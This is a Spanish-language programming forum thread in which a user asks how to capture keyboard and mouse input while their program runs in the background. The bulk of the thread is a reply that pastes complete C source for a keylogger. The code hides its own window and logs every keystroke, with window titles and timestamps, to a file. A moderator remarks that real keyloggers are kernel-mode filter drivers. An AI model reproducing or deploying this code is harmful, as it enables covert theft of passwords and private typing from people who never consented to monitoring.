• Sábado 9 de Noviembre de 2024, 02:23

Autor Tema:  Capturar De Teclado  (Leído 4418 veces)

roelguet

  • Nuevo Miembro
  • *
  • Mensajes: 2
    • Ver Perfil
Capturar De Teclado
« en: Miércoles 9 de Agosto de 2006, 03:48 »
0
Hola a todos.

lo que quiero hacer es capturar el teclado (tecla deterninada) y el mouse (posición X,Y), pero cuando la ventana de mi programa no esta activa.

Yo por ahora lo estoy haciendo pero solo cuando la ventana de mi programa esta activa.

Tambien me gustaria saber como puedo dejar mi programa ejecutandose como un servicio de windows

Saludos a todos...

robokop

  • Miembro activo
  • **
  • Mensajes: 70
    • Ver Perfil
Re: Capturar De Teclado
« Respuesta #1 en: Viernes 11 de Agosto de 2006, 20:47 »
0
Para la posicion del raton se hace con la APi GetCursorPos busca informacion de ella y las pulsaciones de teclas con la api GetAsyncKeyState
suerte :hola:

roelguet

  • Nuevo Miembro
  • *
  • Mensajes: 2
    • Ver Perfil
Re: Capturar De Teclado
« Respuesta #2 en: Sábado 12 de Agosto de 2006, 02:11 »
0
Gracias por responder.

pero lo que sucede es que por ahora lo tengo con esos comandos pero lo que yo quiero  es capturar  el teclado cuando la ventana de ni programa no esta activa, es decir, mi programa no esta corriendo en primer plano.

nose si me doy a entender bien.

robokop

  • Miembro activo
  • **
  • Mensajes: 70
    • Ver Perfil
Re: Capturar De Teclado
« Respuesta #3 en: Sábado 12 de Agosto de 2006, 03:10 »
0
Si por eso mismo mira eso en el hacking se llaman keylogger , graban pulsaciones de teclas , aunque tu aplicacion este minizada ,escondida o lo que sea hay muchos codigos de keylogger en internet.
te pongo el codigo de uno que no es mio es un usuario del foro.elhacker.net (lympex)

<!--xc1--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>XCODE </td></tr><tr><td id='XCODE'><!--exc1-->
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(<ime);
ctime(<ime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(<ime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
}while(1<2);
}
<!--xc2--></td></tr></table><div class='postcolor'><!--exc2-->

robokop

  • Miembro activo
  • **
  • Mensajes: 70
    • Ver Perfil
Re: Capturar De Teclado
« Respuesta #4 en: Sábado 12 de Agosto de 2006, 20:06 »
0
En un programa que estoy haciendo ocupaba la api GetCursorPos aqui esta el ejemplo  :smartass:

Citar
#include "stdio.h"
#include "windows.h"
#pragma comment(lib ,"user32.lib")/*Libreria necesaria para la api GetCursorPos*/
int main()
{
   POINT x;
   GetCursorPos(&x);//Se optiene en una direccion de la memoria
   printf("%d %d\n",x);//es 2 veces %d para mostrar posicion x y Y.
   system("pause");
   return 0;
}

Eternal Idol

  • Moderador
  • ******
  • Mensajes: 4696
  • Nacionalidad: ar
    • Ver Perfil
Re: Capturar De Teclado
« Respuesta #5 en: Sábado 12 de Agosto de 2006, 21:49 »
0
Ese "keylogger" es muy rudimentario y absolutamente ineficiente. Un verdadero keylogger es un modulo de modo Kernel, de tipo filtro generalmente, que no produce tanta actividad inutil en el sistema y esta muchisimo mas oculto.

Nacional y Popular En mi país la bandera de Eva es inmortal.


Queremos una Argentina socialmente justa, económicamente libre y  políticamente soberana.
¡Perón cumple, Evita dignifica!


La mano invisible del mercado me robo la billetera.